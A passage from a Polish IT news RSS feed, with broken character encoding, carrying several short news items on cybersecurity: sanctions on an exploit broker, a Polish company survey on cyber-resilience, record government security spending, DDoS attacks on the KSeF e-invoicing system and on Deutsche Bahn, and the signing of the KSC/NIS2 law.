Rosjanin reklamuje swoje usand#322;ugi, mand#243;wiand#261;c, and#380;e oferuje narzand#281;dzia tylko paand#324;stwom spoza NATO, a wand#347;rand#243;d jego klientand#243;w miaand#322;y byand#263; teand#380; rosyjskie sand#322;uand#380;by. Co wiand#281;cej, wedand#322;ug resortu finansand#243;w, Operacja Zero stara siand#281; rand#243;wnieand#380; opracowaand#263; inne systemy cyberszpiegowskie, w tym sposoby pozyskania danych osobowych i innych poufnych danych przesyand#322;anych przez uand#380;ytkownikand#243;w aplikacji sztucznej inteligencji (AI), takich jak duand#380;e modele jand#281;zykowe (LLM).
and#160;
and#378;rodand#322;o z Waszyngtonu Oskar Gand#243;rzyand#324;ski (PAP) 24 luty 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Raport „Cyberbezpieczeństwo - Trendy 2026”: zaledwie 29 proc. firm deklaruje wysoką lub bardzo wysoką cyberodporność ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1617</link>
			<description><![CDATA[ and#160;




Fot. PAP/Marcin Kmieciand#324;ski (1)
Czy Polska jest gotowa na nowand#261; erand#281; zagroand#380;eand#324; cyfrowych? Na to pytanie szukali odpowiedzi uczestnicy debaty poand#347;wiand#281;conej cyberbezpieczeand#324;stwu, wand#347;rand#243;d nich przedstawiciele m.in. Urzand#281;du Komunikacji Elektronicznej, NASK, Rzand#261;dowej Agencji Rezerw Strategicznych, Sieci Badawczej and#321;ukasiewicz, Krajowej Izby Gospodarki Cyfrowej oraz Polskiej Izby Informatyki i Telekomunikacji. Dyskusji, ktand#243;ra odbyand#322;a siand#281; Centrum Prasowym PAP, towarzyszyand#322;a premiera raportu and#8222;Cyberbezpieczeand#324;stwo - Trendy 2026and#8221; przygotowanego przez Xopero Software we wspand#243;and#322;pracy z zespoand#322;em ekspertand#243;w rynkowych.


Eksperci zgodzili siand#281;, and#380;e and#347;wiat cyfrowy w 2026 roku wkroczyand#322; w fazand#281; and#8222;cyberprzeand#322;omuand#8221;. Rosnand#261;ce koszty, presja regulacyjna i ataki ransomware wymuszajand#261; na firmach przejand#347;cie od pasywnej ochrony do proaktywnej odpornoand#347;ci. Wedand#322;ug raportu and#8222;Cyberbezpieczeand#324;stwo - Trendy 2026and#8221;, aand#380; 85 proc. ekspertand#243;w przewiduje, and#380;e dynamika zagroand#380;eand#324; wyprzedzi moand#380;liwoand#347;ci obronne biznesu. Skala problemu jest realna - juand#380; co piand#261;ta firma w Polsce doand#347;wiadczyand#322;a incydentu w ostatnim roku. Najwiand#281;ksze zagroand#380;enie? Ransomware i phishing.
Opracowanie zostaand#322;o zaprezentowane podczas spotkania eksperckiego pt. and#8222;Trendy w cyberbezpieczeand#324;stwie i wyzwania dla suwerennoand#347;ci technologicznejand#8221;. Spotkanie liderand#243;w sektora publicznego i biznesu stworzyand#322;o przestrzeand#324; do wymiany wiedzy o tym, jak budowaand#263; odpornoand#347;and#263; paand#324;stwa i organizacji w dobie nieprzewidywalnych atakand#243;w, gdy tradycyjne metody zabezpieczeand#324; stajand#261; siand#281; niewystarczajand#261;ce.
Dynamiczny wzrost zagroand#380;eand#324;
Z raportu wynika, and#380;e Polska cyberprzestrzeand#324; staje siand#281; obszarem coraz bardziej zorganizowanej i intensywnej aktywnoand#347;ci cyberprzestand#281;pczej. Aand#380; 88 proc. respondentand#243;w przewiduje dalszy wzrost liczby prand#243;b atakand#243;w w 2026 roku. Za najbardziej destrukcyjne dla biznesu uznawane sand#261;: ransomware (83 proc. wskazaand#324;) oraz phishing (71 proc.), ktand#243;re przekand#322;adajand#261; siand#281; nie tylko na straty finansowe, ale rand#243;wnieand#380; zakand#322;and#243;cenia ciand#261;gand#322;oand#347;ci operacyjnej przedsiand#281;biorstw.
Jednand#261; z odpowiedzi na rosnand#261;ce i zmieniajand#261;ce siand#281; cyberzagroand#380;enia jest podnoszenie poziomu wiedzy o takich wyzwaniach. and#346;wiadomoand#347;and#263; staje siand#281; fundamentem dziaand#322;aand#324; prewencyjnych, edukacji i wdraand#380;ania procedur bezpieczeand#324;stwa, ktand#243;re pozwalajand#261; minimalizowaand#263; ryzyko, zanim pojawi siand#281; cyberatak. Jednak przedsiand#281;biorcy nie zawsze sand#261; w stanie nadand#261;and#380;yand#263; za szybko zmieniajand#261;cym siand#281; and#347;rodowiskiem.
Jak podkreand#347;liand#322; podczas debaty Przemysand#322;aw Kuna, prezes Urzand#281;du Komunikacji Elektronicznej, zmiennoand#347;and#263; sposoband#243;w oraz moand#380;liwoand#347;ci atakand#243;w jest dziand#347; bardzo duand#380;a.

and#8222;Legislacja czy inne dand#322;ugoterminowe dziaand#322;ania nigdy nie band#281;dand#261; przed zmianand#261;, poniewaand#380; ona zawsze band#281;dzie pierwsza. Ale jeand#347;li band#281;dziemy mieand#263; dobrand#261; and#347;wiadomoand#347;and#263; tego, co siand#281; dzieje wokand#243;and#322; nas, to jesteand#347;my w pewnej czand#281;and#347;ci przygotowaniand#8221; - wskazaand#322; prezes UKE.

Dodaand#322;, and#380;e wprowadzane obecnie regulacje dajand#261; szansand#281; na wzmocnienie cyberodpornoand#347;ci.

and#8222;Dziaand#322;ania Unii Europejskiej i polskiego rzand#261;du w zakresie legislacji oraz regulacji sand#322;uand#380;and#261; rynkowi. Nowe przepisy band#281;dand#261; stanowiand#263; ogromnand#261; zmianand#281; dla rynku z punktu widzenia porzand#261;dkowania i wskazand#243;wek, w ktand#243;rand#261; stronand#281; powinniand#347;my iand#347;and#263; jako paand#324;stwo i organizacjeand#8221; - podkreand#347;liand#322; Przemysand#322;aw Kuna.

Mimo and#347;wiadomoand#347;ci zagroand#380;eand#324; przygotowanie polskich firm budzi powaand#380;ny niepokand#243;j. Aand#380; 55 proc. ankietowanych ocenia cyberodpornoand#347;and#263; swojej organizacji jako zaledwie and#8222;and#347;redniand#261;and#8221;, a 16 proc. wskazuje na poziom and#8222;niskiand#8221;, przy jednoczesnym braku procedur i planand#243;w reakcji na incydenty. Jedynie 29 proc. badanych deklaruje wysokand#261; lub bardzo wysokand#261; odpornoand#347;and#263;.
Zdaniem ekspertand#243;w to nie chwilowa ostroand#380;noand#347;and#263; w ocenie stanu przygotowania, lecz trwaand#322;a zmiana percepcji ryzyka. Firmy z trudem band#281;dand#261; nadand#261;and#380;aand#263; za tempem rozwoju zagroand#380;eand#324; cybernetycznych - 66 proc. ankietowanych przewiduje pogand#322;and#281;bianie siand#281; luki pomiand#281;dzy skaland#261; zagroand#380;eand#324; a poziomem zabezpieczeand#324;. Kolejne 19 proc. uwaand#380;a, and#380;e zagroand#380;enia band#281;dand#261; wyraand#378;nie wyprzedzaand#263; stopieand#324; przygotowania organizacji. and#321;and#261;cznie oznacza to, and#380;e 85 proc. respondentand#243;w rysuje raczej pesymistyczny obraz cyberodpornoand#347;ci polskich firm w nadchodzand#261;cym roku.
To nie przypadek. Znajdujemy siand#281; bowiem w punkcie przeand#322;omowym, w ktand#243;rym krajobraz zagroand#380;eand#324; ulega fundamentalnej transformacji. Ataki cybernetyczne sand#261; dziand#347; projektowane jako procesy zautomatyzowane, and#322;atwo replikowalne i zdolne do dziaand#322;ania na masowand#261; skaland#281;, a ich skutecznoand#347;and#263; dodatkowo wzmacnia wykorzystanie sztucznej inteligencji oraz zaangaand#380;owanie podmiotand#243;w sponsorowanych przez paand#324;stwa.
Mimo rosnand#261;cej liczby cyberzagroand#380;eand#324;, reakcja biznesu pozostaje jednak zachowawcza. 52 proc. respondentand#243;w nie planuje zwiand#281;kszenia wydatkand#243;w na cyberbezpieczeand#324;stwo, a 64 proc. organizacji nie posiada ubezpieczenia cybernetycznego.
Presja kosztand#243;w i regulacji
Skala cyberzagroand#380;eand#324; wymaga, w ocenie ekspertand#243;w, takand#380;e odpowiednich regulacji na poziomie krajowym i europejskim.and#160;
Jak wskazaand#322; dr Jacek Czech, dyrektor Biura Techniki Cyfrowej i and#321;and#261;cznoand#347;ci w Rzand#261;dowej Agencji Rezerw Strategicznych, regulacje powinny byand#263; skuteczne i twarde.and#160;

and#8222;Muszand#261; byand#263; naprawdand#281; egzekwowalne, bez jakichkolwiek relatywizmand#243;w, bo jeand#347;li tworzy siand#281; relatywizm w prawie, to po prostu prawa nie maand#8221; - argumentowaand#322; dr Jacek Czech.

Jego zdaniem w 2026 roku powinniand#347;my budowaand#263; cyberbezpieczeand#324;stwo na zasadzie. komplementarnoand#347;ci dziaand#322;aand#324;.

and#8222;Z jednej strony powinniand#347;my chroniand#263; siand#281; urzand#261;dzeniami, oprogramowaniem czy wykorzystywaand#263; (lub nie) AI. Z drugiej potrzebna jest komplementarnoand#347;and#263; bezpieczeand#324;stwa w wielu jego wymiarachand#8221; - wskazaand#322; dr Jacek Czech.

Zmiany regulacyjne to duand#380;e wyzwanie wskazywane w raporcie. Obok wzrostu liczby atakand#243;w hakerskich (68 proc. wskazaand#324;), eksperci jako najwiand#281;ksze wyzwania, przed ktand#243;rymi stojand#261; dziaand#322;y IT, wskazujand#261;: gwaand#322;townie rosnand#261;ce koszty zabezpieczeand#324; (76 proc. wskazaand#324;) oraz coraz bardziej zand#322;oand#380;one wymogi regulacyjne (54 proc. wskazaand#324;).
W kontekand#347;cie regulacji, takich jak NIS2 czy DORA, najwiand#281;kszym wyzwaniem technicznym pozostajand#261; niedoband#243;r zasoband#243;w i kompetencji niezband#281;dnych do skutecznego wdroand#380;enia nowych wymagaand#324; (42 proc. wskazaand#324;) oraz ciand#261;gand#322;e monitorowanie i raportowanie (36 proc. wskazaand#324;).
Sztuczna inteligencja pod lupand#261;
Choand#263; AI dominuje w globalnych trendach, w polskich procesach IT wykorzystuje jand#261; jedynie co piand#261;ta firma (20 proc.). Gand#322;and#243;wnand#261; barierand#261; wydaje siand#281; byand#263; brak zaufania.
Niemal 40 proc. specjalistand#243;w nie ufa rozwiand#261;zaniom opartym na sztucznej inteligencji, wskazujand#261;c, and#380;e technologia ta moand#380;e byand#263; zawodna, podatna na manipulacje lub stanowiand#263; and#378;rand#243;dand#322;o zupeand#322;nie nowych zagroand#380;eand#324;. Co trzeci badany (30 proc.) wciand#261;and#380; nie ma wyrobionej opinii w tym obszarze, co sugeruje fazand#281; wyczekiwania na sprawdzone standardy.
Cyberodpornoand#347;and#263; w praktyce
W ocenie ekspertand#243;w cyberbezpieczeand#324;stwo przestaand#322;o byand#263; wyand#322;and#261;cznie problemem dziaand#322;and#243;w IT - staand#322;o siand#281; wyzwaniem strategicznym dla caand#322;ego biznesu. Mimo to, wciand#261;and#380; zbyt wiele organizacji inwestuje w zabezpieczenia punktowo, reagujand#261;c na pojedyncze zagroand#380;enia, zamiast budowaand#263; spand#243;jne podejand#347;cie obejmujand#261;ce ochronand#281; danych, ciand#261;gand#322;oand#347;and#263; dziaand#322;ania oraz zdolnoand#347;and#263; szybkiego odtwarzania systemand#243;w po incydencie:
and#8226; 55 proc. firm nie wykorzystuje danych wywiadowczych o zagroand#380;eniach (threat intelligence) do proaktywnej ochrony, and#8226; 51 proc. respondentand#243;w przyznaje, and#380;e do detekcji i reagowania na zagroand#380;enia wykorzystuje jedynie tradycyjny system antywirusowy, and#8226; 50 proc. nie automatyzuje procesand#243;w reagowania na incydenty (np. przy uand#380;yciu platform SOAR - Security Orchestration, Automation, and Response), and#8226; Co druga firma nie posiada planu ciand#261;gand#322;oand#347;ci dziaand#322;ania (BCP) oraz planu reagowania na incydenty (IRP).
Inicjatorem i liderem raportu jest Xopero Software, polski producent rozwiand#261;zaand#324; do backupu i przywracania danych. Firma jest rand#243;wnieand#380; wand#322;aand#347;cicielem marki GitProtect.io - oprogramowania do backupu and#347;rodowisk DevOps. Z rozwiand#261;zaand#324; Xopero korzysta ponad 600 firm z 60 krajand#243;w, m.in. firmy z listy Fortune 500, Orange, T-Mobile, Quest Diagnostics, Turntide Technologies, HEMA NL, Inshur, RED.
Zdaniem and#321;ukasza Jesisa, prezesa Xopero Software, w 2026 roku kluczowym wyzwaniem dla wielu firm band#281;dzie zmiana mentalnoand#347;ci.

and#8222;Z defensywnej, opartej na &gt;&gt;antywirusowych murach ochronnych ]]></description>
		</item><item>
			<title><![CDATA[ Polska zbroi się w sieci. Rekordowe pieniądze na cyberbezpieczeństwo ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1616</link>
			<description><![CDATA[ Rzand#261;d przeznaczy wiand#281;cej and#347;rodkand#243;w na cyberbezpieczeand#324;stwo w 2026 r. niand#380; w 2025 roku - poinformowaand#322; wicepremier, minister cyfryzacji Krzysztof Gawkowski podczas kongresu EEC Trends w Warszawie. Dodaand#322;, and#380;e and#347;rodki na ten cel w 2026 roku band#281;dand#261; rekordowe.




Dodaand#322;, and#380;e rekordowe and#347;rodki zostanand#261; przeznaczone rand#243;wnieand#380; na kompetencje cyfrowe w obszarach szkolenia urzand#281;dnika.
"(W 2026 rok - PAP) wprowadzimy portfel toand#380;samoand#347;ci cyfrowej, ktand#243;ry pozwoli chociaand#380;by na to, and#380;eby weryfikowaand#263; wiek dzieci wchodzand#261;cych do mediand#243;w spoand#322;ecznoand#347;ciowych" - powiedziaand#322; minister cyfryzacji.




and#160;






fot. Max DeRoin /and#160;/and#160;Pexels


"Wydamy rekordowe pieniand#261;dze na cyberbezpieczeand#324;stwo w 2026 roku. To band#281;dzie wiand#281;cej niand#380; w 2025" - powiedziaand#322; wicepremier Gawkowski.
W kwietniu zeszand#322;ego roku minister cyfryzacji informowaand#322;, and#380;e w 2025 roku rzand#261;d planowaand#322; przeznaczyand#263; na cyberbezpieczeand#324;stwo 4 mld zand#322;.
and#160;
Gawkowski podtrzymaand#322;, and#380;e priorytetem dla resortu cyfryzacji jest przyjand#281;cie nowelizacji Krajowego Systemu Cyberbezpieczeand#324;stwa i liczy na podpis prezydenta pod noweland#261;, ktand#243;ra pod koniec stycznia zostaand#322;a przyjand#281;ta przed Senat i czeka na kontrasygnatand#281; Karola Nawrockiego. (PAP Biznes)
and#160;
and#378;rodand#322;o (PAP) 9 luty 2026 ]]></description>
		</item><item>
			<title><![CDATA[ To nie była tylko awaria. Hakerzy uderzyli w KSeF. Domański: Atak wyprowadzono z 17 państw ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1615</link>
			<description><![CDATA[ -02-13 07:00



Problemy z dziaand#322;aniem KSeF wynikaand#322;y m.in z ataku DDoS na system logowania - przekazaand#322; minister finansand#243;w i gospodarki Andrzej Domaand#324;ski. Jak wynikaand#322;o z jego wypowiedzi, ataki wyprowadzono z 17 paand#324;stw i staand#322;y za nimi grupy hakerskie. Odpowiednie sand#322;uand#380;by badajand#261; kto to byand#322; - dodaand#322;.



and#160;


/and#160;EFNI


Domaand#324;ski w czwartek na antenie TVP Info zapewniand#322;, and#380;e nie wystand#281;pujand#261; juand#380; problemy z logowaniem do Krajowego Systemu e-Faktur (KSeF).

Nie, tutaj juand#380; mamy peand#322;nand#261; pand#322;ynnoand#347;and#263;. Problemy wynikaand#322;y z tego, and#380;e naraz, w tym samym momencie, mieliand#347;my bardzo duand#380;e zainteresowanie KSeF-em (...) oraz z tzw. ataku DDoS na system logowania z 17 paand#324;stw - powiedziaand#322; Domaand#324;ski. Atak DDoS polega zablokowaniu dostand#281;pu do serwera lub usand#322;ugi poprzez zalewanie go duand#380;and#261; liczband#261; faand#322;szywych and#380;and#261;daand#324;, ktand#243;re sand#261; generowane przez wczeand#347;niej zainfekowane przez hakerand#243;w komputery.

Minister podkreand#347;liand#322;, and#380;e za atakiem staand#322;y grupy hakerskie, a odpowiednie sand#322;uand#380;by band#281;dand#261; badaand#322;y kto to byand#322; dokand#322;adnie. - Podjand#281;liand#347;my dziaand#322;ania wraz z Ministerstwem Cyfryzacji, ktand#243;remu chciaand#322;em bardzo serdecznie podziand#281;kowaand#263; za zaangaand#380;owanie, podobnie zresztand#261; jak wszystkim pracownikom Krajowej Administracji Skarbowej, ktand#243;rzy w tych dniach teand#380; musieli wykazaand#263; siand#281; dodatkowand#261;, wytand#281;and#380;onand#261; pracand#261;. Waand#380;ne jest to, and#380;e Profil Zaufany dziaand#322;a w sposand#243;b pand#322;ynny. Coraz wiand#281;cej osand#243;b loguje siand#281; do KSeF-u - dodaand#322; Domaand#324;ski.
KSeF sand#322;uand#380;y do wystawiania, przesyand#322;ania i przechowywania faktur, wystawianych przez przedsiand#281;biorcand#243;w na rzecz innych przedsiand#281;biorcand#243;w. System ruszyand#322; 1 lutego i na poczand#261;tku obejmuje wyand#322;and#261;cznie firmy, ktand#243;rych obrand#243;t w 2024 przekroczyand#322; 200 mln zand#322;.




and#160;
Dzieand#324; po uruchomieniu KSeF, 2 lutego, pojawiand#322;y siand#281; doniesienia o problemach z logowaniem siand#281; do systemu za poand#347;rednictwem Profilu Zaufanego (PZ). Ministerstwo Cyfryzacji informowaand#322;o w mediach spoand#322;ecznoand#347;ciowych, and#380;e z powodu duand#380;ego zainteresowania KSeF mogand#261; byand#263; problemy z logowaniem siand#281; do usand#322;ug publicznych poprzez PZ i radziand#322;o, aby wybieraand#263; inne formy logowania. Tego samego dnia wiceminister cyfryzacji Dariusz Standerski podczas spotkania z dziennikarzami mand#243;wiand#322;, and#380;e resort finansand#243;w ograniczyand#322; moand#380;liwoand#347;and#263; logowania siand#281; do KSeF tak, and#380;e moand#380;na byand#322;o siand#281; logowaand#263; tylko raz na minutand#281;, aby trochand#281; odciand#261;and#380;yand#263; system.
and#160;

Problemy z logowaniem siand#281; do Profilu Zaufanego and#8211; a za jego poand#347;rednictwem do KSeF and#8211; zakoand#324;czyand#322;y siand#281; jeszcze tego samego dnia, o czym poinformowaand#322;o Ministerstwo Finansand#243;w. Jednoczeand#347;nie MF podkreand#347;laand#322;o, and#380;e mimo problemand#243;w z PZ, sam KSeF dziaand#322;aand#322; stabilnie.
W kolejnych dniach nie byand#322;o juand#380; doniesieand#324; o wiand#281;kszych problemach z logowaniem siand#281; do systemu.
Nastand#281;pny etap rozwoju KSeF rozpocznie siand#281; 1 kwietnia. Wand#243;wczas obejmie on firmy, ktand#243;re miesiand#281;cznie wystawiajand#261; faktury na rzecz innych firm o wartoand#347;ci przekraczajand#261;cej 10 tys. zand#322; miesiand#281;cznie. W trzecim etapie, ktand#243;ry rozpocznie siand#281; 1 stycznia 2027 r., do KSeF wejdand#261; rand#243;wnieand#380; te podmioty, ktand#243;rych miesiand#281;czna wartoand#347;and#263; faktur na rzecz innych przedsiand#281;biorcand#243;w jest mniejsza niand#380; 10 tys. zand#322;.
and#160;
Do koand#324;ca tego roku band#281;dzie moand#380;na wystawiaand#263; tzw. faktury uproszczone w postaci paragonand#243;w, czyli takie paragony, w ktand#243;rych sprzedawca umieand#347;ciand#322; NIP nabywcy i ktand#243;rej wartoand#347;and#263; nie przekroczy kwoty 450 zand#322; lub 100 euro. Rand#243;wnieand#380; w przypadku faktur papierowych wystawianych przy pomocy elektronicznych kas fiskalnych zostaand#322; utrzymany okres przejand#347;ciowy, ktand#243;ry koand#324;czy siand#281; wraz z 2026 r. (PAP)
and#160;
and#378;rodand#322;o (PAP) 13 luty 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Hakerzy zastawiają sidła na firmy. Te wciąż oszczędzają na cyberbezpieczeństwie ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1614</link>
			<description><![CDATA[ 2-20 07:10



Rosnand#261;ca liczba atakand#243;w hakerskich spand#281;dza sen z powiek wielu przedsiand#281;biorcom, mimo to wiand#281;kszoand#347;and#263; nie planuje zwiand#281;kszaand#263; wydatkand#243;w na zabezpieczenia IT - pisze piand#261;tkowy and#8222;Puls Biznesu".



and#160;


fot. zef art /and#160;/and#160;Shutterstock


Gazeta przytacza najnowszy raport Xopero Software and#8222;Cyberbezpieczeand#324;stwo - Trendy 2026and#8221;, z ktand#243;rego wynika, and#380;e w ciand#261;gu ostatniego roku 20 proc. przedsiand#281;biorstw padand#322;o ofiarand#261; cyberataku. Firma ta zbadaand#322;a 420 przedsiand#281;biorstw z rand#243;and#380;nych branand#380;.
Gazeta powoand#322;ujand#261;c siand#281; na ekspertand#243;w od bezpieczeand#324;stwa IT pisze, and#380;e cyberataki dotyczand#261; wszystkich firm niezaleand#380;nie od ich wielkoand#347;ci. Roand#347;nie jednak ich liczba w przypadku trzech kluczowych sektorand#243;w: publicznego, zdrowotnego i produkcyjnego. Aand#380; 80 proc. ekspertand#243;w twierdzi, and#380;e tempo rozwoju cyberzagroand#380;eand#324; wyprzedzi moand#380;liwoand#347;ci obronne przedsiand#281;biorstw.
Autorzy raportu podkreand#347;lajand#261;, and#380;e aand#380; 55 proc. badanych przedsiand#281;biorcand#243;w ocenia cyberodpornoand#347;and#263; swojej firmy jako and#347;redniand#261;, 16 proc. uwaand#380;a jand#261; za niskand#261;, a 29 proc. za wysokand#261; lub bardzo wysokand#261;.and#160;Co drugi ankietowany nie posiada planand#243;w ciand#261;gand#322;oand#347;ci dziaand#322;ania i reagowania firmy na incydenty hakerskie.
Z cytowanego przez gazetand#281; raportu wynika ponadto, and#380;eand#160;40 proc. przedsiand#281;biorcand#243;w przeznacza na zabezpieczenia IT budand#380;et w wysokoand#347;ci 10-50 tys. zand#322; w skali roku, 37 proc. nie wydaje kwoty wiand#281;kszej niand#380; 10 tys. zand#322;, a 13 i 10 proc. deklaruje budand#380;et na poziomie 50-200 tys. zand#322; i powyand#380;ej 200 tys. zand#322;. Eksperci podkreand#347;lajand#261;, and#380;e wiand#281;kszoand#347;and#263; przedsiand#281;biorcand#243;w nie zamierza wydawaand#263; wiand#281;cej pieniand#281;dzy na cyberbezpieczeand#324;stwo niand#380; dotychczas. O zwiand#281;kszeniu budand#380;etu myand#347;li tylko 48 proc.
and#160;
Eksperci zauwaand#380;ajand#261; teand#380;, and#380;e 51 proc. ankietowanych korzysta wyand#322;and#261;cznie z tradycyjnego systemu antywirusowego. Bardziej zaawansowane rozwiand#261;zania stosuje tylko 22 proc. Ponadto poand#322;owa firm nie automatyzuje procesand#243;w reagowania na incydenty hakerskie -and#160;informuje and#8222;Puls Biznesu". (PAP)
and#160;
and#378;rodand#322;o (PAP) 20 luty 2026







and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Cyberatak na Deutsche Bahn. "Część hybrydowej strategii Rosji" ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1613</link>
			<description><![CDATA[ Za atakami hakerskimi na niemieckiego przewoand#378;nika kolejowego Deutsche Bahn mogand#322;y staand#263; grupy kontrolowane przez Rosjand#281;; and#347;wiadczy o tym charakter atakand#243;w i zastosowane w nich narzand#281;dzia and#8211; oceniand#322;o ukraiand#324;skie Centrum Przeciwdziaand#322;ania Dezinformacji (CPD).
and#160;



fot. Vladislav Havrilov /and#160;/and#160;Shutterstock
and#160;
Ze wzgland#281;du na charakter i uand#380;yte narzand#281;dzia podobne ataki wielokrotnie and#322;and#261;czono z grupami hakerskimi kontrolowanymi przez rosyjskie sand#322;uand#380;by specjalne, w tym APT28 oraz NoName057(16). Ich aktywnoand#347;and#263; jest czand#281;and#347;ciand#261; hybrydowej strategii Rosji, wymierzonej w destabilizacjand#281; paand#324;stw Unii Europejskiej and#8211; przekazaand#322;o CPD w serwisach spoand#322;ecznoand#347;ciowych.
and#160;
iemiecki przewoand#378;nik poinformowaand#322;, and#380;e atak przeciand#261;and#380;eniowy typu DDoS, ktand#243;ry rozpoczand#261;and#322; siand#281; we wtorek po poand#322;udniu, spowodowaand#322; zakand#322;and#243;cenia w systemach informacyjnych i rezerwacyjnych Deutsche Bahn. Zakand#322;and#243;cenia utrzymywaand#322;y siand#281; w and#347;rodand#281; rano.
Problemy objand#281;and#322;y aplikacjand#281; DB Navigator oraz stronand#281; internetowand#261; bahn.de, za poand#347;rednictwem ktand#243;rych pasaand#380;erowie mogand#261; sprawdzaand#263; rozkand#322;ad jazdy i kupowaand#263; bilety.
and#8222;Celem takich operacji jest podwaand#380;enie zaufania obywateli do instytucji paand#324;stwowych oraz stworzenie poczucia chaosu i podatnoand#347;ci na zagroand#380;enia. Istotne jest rand#243;wnieand#380; to, and#380;e zakand#322;and#243;cenia w pracy kolei wpand#322;ywajand#261; nie tylko na przewozy pasaand#380;erskie, ale takand#380;e na logistykand#281; wojskowand#261; i komercyjnand#261;and#8221; and#8211; uznaand#322;o CPD, ktand#243;re dziaand#322;a przy Radzie Bezpieczeand#324;stwa Narodowego i Obrony Ukrainy.
and#8222;Cyberatak na Deutsche Bahn jest kontynuacjand#261; hybrydowych dziaand#322;aand#324; Kremla przeciwko Europie. Ta systemowa polityka Rosji wymaga skoordynowanej odpowiedzi ze strony UE and#8211; nowych sankcji wobec Rosji oraz wzmocnienia cyberochronyand#8221; and#8211; podkreand#347;liand#322;o Centrum.
and#160;
and#378;rodand#322;o Jarosand#322;aw Junko (PAP) 20 luty 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Prezydent podpisał ustawę KSC/NIS2 i wysłał ją do Trybunału ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1612</link>
			<description><![CDATA[ Niewand#261;tpliwie najwaand#380;niejsza dla polskiego cyberbezpieczeand#324;stwa ustawa uzyskaand#322;a podpis Prezydenta. Zostaand#322;a jednak wysand#322;ana do Trybunaand#322;u Konstytucyjnego co oznacza, and#380;e niektand#243;re jej przepisy z czasem mogand#261; byand#263; uchylone. Tak czy owak trzeba siand#281; szykowaand#263; na wdraand#380;anie NIS2.

Tydzieand#324; temu pisaliand#347;my oand#160;ustawie o Krajowym Systemie Cyberbezpieczeand#324;stwa, ktand#243;ra ma wdraand#380;aand#263; w Polsce unijnand#261; dyrektywand#281;and#160;NIS2. Wand#243;wczas ustawa wyszand#322;a z Senatu (bez poprawek) i czekaand#322;a na podpis Prezydenta. Zand#322;oand#380;enie tego podpisu wielu osobom wydawaand#322;o siand#281; formalnoand#347;ciand#261; (naprawdand#281; tej ustawy podpisujemy), ale ten akt prawny miaand#322; swoich przeciwnikand#243;w. Protestowali przeciwko niemu niektand#243;rzy przedsiand#281;biorcy, na ktand#243;rych majand#261; zostaand#263; naand#322;oand#380;one nowe obowiand#261;zki (otwarcie przeciwko ustawie opowiedziaand#322;a siand#281; Krajowa Izba Komunikacji Ethernetowej and#8211; KIKE). Byli teand#380; prawnicy z wand#261;tpliwoand#347;ciami. Prof.and#160;Ryszard Piotrkowski przekonywaand#322;, and#380;e bezpieczeand#324;stwo paand#324;stwa nie uzasadnia tworzenia prawa, ktand#243;re trwale godziand#322;oby we wand#322;asnoand#347;and#263; i swobodand#281; dziaand#322;alnoand#347;ci gospodarczej. W Sejmie odbyand#322;o siand#281; nawet zamkniand#281;te posiedzenie komisji cyfryzacji poand#347;wiand#281;cone lobbingowi wokand#243;and#322; nowelizacji.
Wczoraj Prezydent ustawand#281; podpisaand#322;, ale odesand#322;aand#322; jand#261; do Trybunaand#322;u Konstytucyjnegoand#160;w ramach kontroli nastand#281;pczej. Trybunaand#322; moand#380;e uchyliand#263; czand#281;and#347;and#263; przepisand#243;w.
Z informacji wystosowanej przez Kancelariand#281; Prezydenta wynika, and#380;e zastrzeand#380;enia Prezydenta wobec ustawy sand#261; nastand#281;pujand#261;ce:

Wand#261;tpliwoand#347;ci budzi objand#281;cie ustawand#261; 18 branand#380; gospodarki pogrupowanych w podmioty kluczowe i waand#380;ne. Przy czym and#8211; zdaniem Prezydenta and#8211; rozszerzenie to nie wynika z przepisand#243;w europejskich, a jest samodzielnand#261; inicjatywand#261; rzand#261;du.
Przepisy dotyczand#261;ce uznawania firm za Dostawcand#243;w Wysokiego Ryzyka (DWR) ingerujand#261; w samodzielnoand#347;and#263; funkcjonowania przedsiand#281;biorcand#243;w poprzez nakand#322;adanie obowiand#261;zku wymiany sprzand#281;tu oraz oprogramowania bez odszkodowania i bez zabezpieczenia and#347;rodkand#243;w finansowych na ten cel.
Przewidziany ustawand#261; system kar administracyjnych jest restrykcyjny, a wysokoand#347;and#263; moand#380;liwych do naand#322;oand#380;enia kar maand#160;charakter samodzielnych and#347;rodkand#243;w karnych.
System podejmowania decyzji przez organy ds. cyberbezpieczeand#324;stwa wobec podmiotand#243;w kluczowych i waand#380;nych jest wadliwy m.in. pozbawiony odpowiedniej kontroli sand#261;dowej.

Warto w tym momencie przypomnieand#263;, and#380;e w trakcie prac nad ustawand#261; wprowadzono przepis, ktand#243;ry pozwala nakand#322;adaand#263; kary za naruszenia dopiero po upand#322;ywie 2 lat od dnia wejand#347;cia w and#380;ycie ustawy (art. 35 nowelizacji). Sama ustawa wchodzi w and#380;ycie po upand#322;ywie miesiand#261;ca od ogand#322;oszenia, ale podmioty, ktand#243;re z dniem wejand#347;cia w and#380;ycie niniejszej ustawy speand#322;niajand#261; przesand#322;anki uznania ich za podmiot kluczowy albo za podmiot waand#380;ny, realizujand#261; obowiand#261;zki w brzmieniu nadanym ustawand#261; w terminie 12 miesiand#281;cy od dnia wejand#347;cia w and#380;ycie. Wdraand#380;anie przepisand#243;w band#281;dzie tak czy owak nieco rozciand#261;gniand#281;te w czasie np. minister ds. cyfryzacji band#281;dzie musiaand#322; przygotowaand#263; harmonogram, wedand#322;ug ktand#243;rego firmy band#281;dand#261; zobowiazane skand#322;adaand#263; wniosek o wpis do wykazu podmiotand#243;w kluczowych.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 20 luty 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Zarzuty dla 29-latka w sprawie wycieku z Morele.net ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1611</link>
